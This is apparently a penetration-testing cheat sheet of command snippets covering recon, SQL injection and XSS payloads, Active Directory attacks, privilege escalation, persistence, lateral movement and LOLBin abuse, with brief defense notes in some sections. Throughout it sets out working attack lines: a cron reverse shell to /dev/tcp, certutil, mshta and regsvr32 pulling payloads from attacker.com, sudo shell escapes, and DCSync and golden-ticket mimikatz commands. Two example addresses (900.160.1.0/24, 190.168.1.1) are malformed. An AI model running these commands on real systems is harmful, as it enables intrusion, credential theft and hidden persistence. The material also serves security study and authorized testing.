site:example.com                        # restrict to domain
site:example.com filetype:pdf           # PDFs on domain
site:example.com inurl:admin            # admin pages
site:example.com intitle:"index of"     # directory listings
site:example.com ext:sql OR ext:bak     # database/backup files
intext:"password" filetype:txt          # password files
inurl:"/wp-admin" site:example.com      # WordPress admin
"Powered by" "phpMyAdmin" site:example.com
intitle:"Dashboard" inurl:":8080"       # exposed dashboards

# Basic lookups
dig example.com ANY             # all records
dig example.com MX              # mail servers
dig example.com NS              # name servers
dig example.com TXT             # TXT records (SPF, DKIM)
dig -x 1.2.3.4                  # reverse DNS
 
# Subdomain enumeration
amass enum -d example.com       # comprehensive subdomain enum
subfinder -d example.com        # fast passive subdomain finder
assetfinder example.com         # find subdomains + assets
dnsx -l subdomains.txt -a       # resolve list of subdomains
 
# Zone transfer (misconfiguration check)
dig axfr example.com @ns1.example.com
 
# DNS brute force
gobuster dns -d example.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

# Nmap scan progression
nmap -sn 900.160.1.0/24         # host discovery (ping sweep)
nmap -sS -T4 -p- target         # full SYN scan all ports
nmap -sV -sC -p 22,80,443 target # version + default scripts
nmap -O target                  # OS detection
nmap -A target                  # aggressive (all of above)
nmap --script=vuln target       # vulnerability scripts
nmap -sU --top-ports 100 target # top 100 UDP ports
 
# Service-specific enumeration
nmap -p 445 --script smb-enum-shares,smb-enum-users target
nmap -p 25 --script smtp-enum-users target
nmap -p 3306 --script mysql-info,mysql-enum target
nmap -p 389 --script ldap-search target

-- Basic detection
'
''
' OR '1'='1
' OR 1=1--
admin'--
 
-- Union-based (find column count first)
' ORDER BY 1--
' ORDER BY 2--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
 
-- Extract database info
' UNION SELECT @@version,NULL--          -- MySQL/MSSQL version
' UNION SELECT version(),NULL--          -- PostgreSQL version
' UNION SELECT table_name,NULL FROM information_schema.tables--
 
-- Time-based blind (MySQL)
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--

// Basic detection
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
 
// Context-aware payloads
// Inside attribute: " onmouseover="alert(1)
// Inside JavaScript: ';alert(1)//
// Inside CSS: </style><script>alert(1)</script>
 
// DOM-based XSS
// Look for: document.write(), innerHTML, eval(), location.hash
 
// Content Security Policy bypass research
// CSP: script-src 'nonce-xxx' → need valid nonce
// CSP: script-src cdn.example.com → JSONP bypass if available

# SSRF allows attacker to make server fetch internal resources
 Common targets:
   Cloud metadata: http://169.254.169.254/latest/meta-data/
   Internal services: http://localhost:8080/admin
   Internal network: http://190.168.1.1/
 
# AWS IMDS v1 (vulnerable to SSRF)
# http://169.254.169.254/latest/meta-data/iam/security-credentials/
 
# Defense:
# - Allowlist outbound URLs
# - Block RFC 1918 + loopback ranges
# - Use IMDSv2 (requires session token header)
# - Validate and sanitize URL inputs

# JWT manipulation (for authorized testing)
# 1. Decode JWT: base64 decode header.payload
# 2. Check algorithm: alg=none attack (if server accepts)
# 3. Check weak secret: hashcat -m 16500 jwt.txt wordlist.txt
# 4. Check RS256→HS256 confusion attack
 
# OAuth misconfigurations
# - state parameter missing (CSRF)
# - redirect_uri not validated
# - implicit flow token leakage
 
# Session management issues
# - predictable session IDs
# - session fixation
# - missing Secure/HttpOnly flags
# - long session expiry

# Common API vulnerabilities (OWASP API Top 10):
# API1: Broken Object Level Authorization (BOLA/IDOR)
#   → Change /api/users/123 to /api/users/124
# API2: Broken Authentication
#   → Weak tokens, no rate limiting
# API3: Broken Object Property Level Authorization
#   → Mass assignment, over-exposure of fields
# API4: Unrestricted Resource Consumption
#   → No rate limiting, large payloads
# API5: Broken Function Level Authorization
#   → Access admin endpoints as regular user
 
# Tools for API testing
# Burp Suite → intercept + modify API calls
# Postman → API client with test scripts
# ffuf → fuzz API endpoints
ffuf -u https://api.example.com/FUZZ -w endpoints.txt

# BloodHound — AD attack path analysis
# Collector (run on domain-joined machine):
SharpHound.exe -c All             # Windows collector
bloodhound-python -u user -p pass -d domain.local -ns DC_IP -c All  # Linux
 
# BloodHound queries (in GUI):
# "Find all Domain Admins"
# "Shortest Paths to Domain Admins"
# "Find Principals with DCSync Rights"
 
# LDAP enumeration
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" -D "user@domain.local" -w password
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName
 
# PowerView (PowerShell — authorized testing)
Get-NetDomain                     # domain info
Get-NetDomainController           # domain controllers
Get-NetUser                       # all users
Get-NetGroup "Domain Admins"      # group members
Get-NetComputer                   # all computers
Find-LocalAdminAccess             # where current user is local admin

# Request service tickets (authorized testing)
GetUserSPNs.py domain/user:password -dc-ip DC_IP -request
# Outputs hashes in hashcat format
 
# Crack offline (authorized testing)
hashcat -m 13100 hashes.txt wordlist.txt
 
# Defense:
# - Use long (25+) random passwords for service accounts
# - Use Group Managed Service Accounts (gMSA) — auto-rotate passwords
# - Monitor for TGS-REQ for multiple SPNs from single user
# - Enable AES encryption for Kerberos (disable RC4)

# Find vulnerable accounts
GetNPUsers.py domain/ -usersfile users.txt -dc-ip DC_IP -no-pass
# Crack offline
hashcat -m 18200 hashes.txt wordlist.txt
 
# Defense:
# - Enable Kerberos pre-authentication on ALL accounts
# - Audit: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}

# Pass-the-Hash (NTLM)
# Attacker captures NTLM hash → uses it directly without cracking
# impacket-psexec -hashes :NTLM_HASH administrator@target
 
# Pass-the-Ticket (Kerberos)
# Attacker exports Kerberos ticket → imports on another machine
# mimikatz: sekurlsa::tickets /export
# Rubeus: Rubeus.exe dump /service:krbtgt
 
# Defense:
# - Enable Credential Guard (VBS-based LSASS protection)
# - Disable NTLM where possible (enforce Kerberos)
# - Use Protected Users security group
# - Monitor for: Event 4624 logon type 3 with NTLM
# - Implement PAM (Privileged Access Management)

# Requires: Replicating Directory Changes + Replicating Directory Changes All
# secretsdump.py domain/user:password@DC_IP -just-dc
# mimikatz: lsadump::dcsync /domain:domain.local /all
 
# Defense:
# - Audit who has Replicating Directory Changes rights
# - Monitor Event ID 4662 (object access with replication GUIDs)
# - Use Microsoft ATA / Defender for Identity to detect DCSync
# - Restrict domain replication permissions to DCs only

# Golden Ticket: forge TGT using krbtgt hash
# Requires: krbtgt NTLM hash + domain SID
# Valid for 10 years by default
# mimikatz: kerberos::golden /user:admin /domain:domain.local /sid:S-1-5-... /krbtgt:HASH
 
# Silver Ticket: forge service ticket for specific service
# Requires: service account hash + domain SID
# More stealthy — doesn't touch DC
 
# Defense:
# - Reset krbtgt password TWICE (invalidates all tickets)
# - Monitor for tickets with unusual lifetimes
# - Enable PAC validation
# - Use Microsoft Defender for Identity

# Automated enumeration
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
 
# Manual checks
id && whoami                    # current user + groups
sudo -l                         # sudo permissions
find / -perm -u=s -type f 2>/dev/null   # SUID binaries
find / -perm -g=s -type f 2>/dev/null   # SGID binaries
getcap -r / 2>/dev/null         # capabilities
cat /etc/crontab                # system cron jobs
ls -la /etc/cron.d/ /var/spool/cron/
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys
cat /etc/passwd | grep -v nologin | grep -v false  # login users
uname -a                        # kernel version → searchsploit
cat /etc/issue && cat /etc/*release  # OS version
env                             # environment variables
history                         # command history
find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "password"

# Automated
# WinPEAS: https://github.com/carlospolop/PEASS-ng/releases
.\winPEASx64.exe
 
# Manual checks
whoami /priv                    # current privileges
whoami /groups                  # group memberships
net user                        # local users
net localgroup administrators   # admin group members
systeminfo                      # OS + patch level
wmic qfe list brief             # installed patches
 
# Service misconfigurations
sc query                        # list services
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
# Unquoted service paths with spaces = potential hijack
 
# Registry autoruns
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
 
# AlwaysInstallElevated (MSI as SYSTEM)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
 
# Stored credentials
cmdkey /list

# vim with sudo
sudo vim -c ':!/bin/bash'
 
# find with SUID
./find . -exec /bin/bash -p \; -quit
 
# python with sudo
sudo python3 -c 'import os; os.system("/bin/bash")'
 
# nmap (older versions) with sudo
echo "os.execute('/bin/bash')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nse

# Cron backdoor
# (crontab -l; echo "* * * * * bash -i >& /dev/tcp/IP/PORT 0>&1") | crontab -
# Defense: monitor crontab changes, audit /etc/cron*
 
# SSH authorized_keys
# echo "attacker_pubkey" >> ~/.ssh/authorized_keys
# Defense: monitor ~/.ssh/authorized_keys, use file integrity monitoring
 
# Systemd service
# Create malicious .service file in /etc/systemd/system/
# Defense: monitor new service creation, audit systemd units
 
# SUID shell
# cp /bin/bash /tmp/.hidden && chmod u+s /tmp/.hidden
# Defense: AIDE file integrity, monitor SUID changes

# Registry Run keys
# HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Defense: monitor registry run keys, use autoruns tool
 
# Scheduled tasks
# schtasks /create /tn "Task" /tr "payload.exe" /sc onlogon
# Defense: monitor Event ID 4698 (task created)
 
# Services
# sc create "ServiceName" binpath= "payload.exe"
# Defense: monitor Event ID 7045 (new service)
 
# WMI subscriptions (stealthy)
# Defense: Get-WMIObject -Namespace root\subscription -Class __EventFilter

# Pass-the-Hash (NTLM)
# impacket-psexec -hashes :NTLM_HASH admin@target
# Defense: Credential Guard, disable NTLM, monitor Event 4624 type 3
 
# WMI execution
# impacket-wmiexec domain/user:password@target
# Defense: monitor WMI activity, restrict WMI access
 
# SMB execution
# impacket-smbexec domain/user:password@target
# Defense: restrict SMB, monitor Event 4624/4648
 
# RDP
# xfreerdp /u:user /p:password /v:target
# Defense: restrict RDP, enable NLA, monitor Event 4624 type 10
 
# SSH (Linux)
# ssh -i stolen_key user@target
# Defense: monitor SSH logins, use bastion hosts

# SSH dynamic SOCKS proxy
ssh -D 1080 user@pivot_host
# Configure proxychains: socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 192.168.2.0/24
 
# SSH local port forward
ssh -L 8080:internal_host:80 user@pivot_host
# Now access internal_host:80 via localhost:8080
 
# Chisel (HTTP tunnel — no SSH needed)
# Attacker: chisel server -p 8000 --reverse
# Victim:   chisel client attacker:8000 R:1080:socks
 
# Ligolo-ng (modern pivoting tool)
# More efficient than proxychains for large networks

# AMSI scans PowerShell, VBScript, JScript, .NET before execution
# Enabled by default in Windows 10+
# EDR products hook AMSI for additional scanning
 
# Check AMSI status
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
 
# Defense: ensure AMSI is not disabled
# Monitor for AMSI bypass attempts in logs
# Use EDR that integrates with AMSI

# certutil — download files
certutil -urlcache -split -f http://attacker.com/file.exe file.exe
 
# bitsadmin — download files
bitsadmin /transfer job http://attacker.com/file.exe C:\file.exe
 
# mshta — execute HTA files
mshta http://attacker.com/payload.hta
 
# regsvr32 — execute DLL/SCT
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll
 
# wscript/cscript — execute scripts
wscript payload.vbs
 
# Defense: monitor these with EDR, use application whitelisting

# Check binary protections
checksec --file=./binary
# NX: No-Execute (stack not executable)
# PIE: Position Independent Executable (ASLR for binary)
# Stack Canary: random value before return address
# RELRO: Relocation Read-Only (GOT protection)
 
# Buffer overflow concept:
# 1. Find buffer size (fuzzing or source code)
# 2. Find offset to return address (pattern_create / cyclic)
# 3. Control EIP/RIP
# 4. Redirect to shellcode or ROP chain
 
# ROP (Return-Oriented Programming)
# Chain existing code "gadgets" to bypass NX
ROPgadget --binary ./binary --rop
ropper -f ./binary
 
# Format string vulnerability
# printf(user_input) → %x %x %x leaks stack
# %n writes to memory

# RSA with small exponent (e=3)
# If m^3 < n, then c = m^3 (no modular reduction)
# Solution: cube root of c
 
# RSA common modulus attack
# Two ciphertexts with same n but different e
# Extended Euclidean algorithm to recover plaintext
 
# Frequency analysis (classical ciphers)
from collections import Counter
freq = Counter(ciphertext.lower())
# Most common letter in English: e, t, a, o, i, n
 
# XOR cipher
# key = plaintext XOR ciphertext
# If key repeats: Kasiski test, index of coincidence
 
# Hash length extension attack
# SHA-1/SHA-256/MD5 with secret prefix
# hashpump tool

# File analysis
file suspicious_file             # identify file type
strings suspicious_file          # extract strings
xxd suspicious_file | head -20   # hex dump
binwalk suspicious_file          # find embedded files
binwalk -e suspicious_file       # extract embedded files
foremost -i suspicious_file      # recover by file header
 
# Image steganography
steghide info image.jpg          # check for hidden data
steghide extract -sf image.jpg   # extract (needs password)
stegseek image.jpg wordlist.txt  # crack steghide password
zsteg image.png                  # LSB steganography in PNG
exiftool image.jpg               # metadata analysis
 
# Network forensics (PCAP)
wireshark capture.pcap           # GUI analysis
tshark -r capture.pcap -Y "http" # filter HTTP
tshark -r capture.pcap -T fields -e http.request.uri  # extract URIs
strings capture.pcap | grep -i "flag\|CTF\|password"
 
# Memory forensics
volatility -f memory.dmp imageinfo          # identify profile
volatility -f memory.dmp --profile=Win10x64 pslist  # process list
volatility -f memory.dmp --profile=Win10x64 netscan  # network connections
volatility -f memory.dmp --profile=Win10x64 filescan  # files in memory
volatility -f memory.dmp --profile=Win10x64 dumpfiles -Q 0xADDR -D ./  # dump file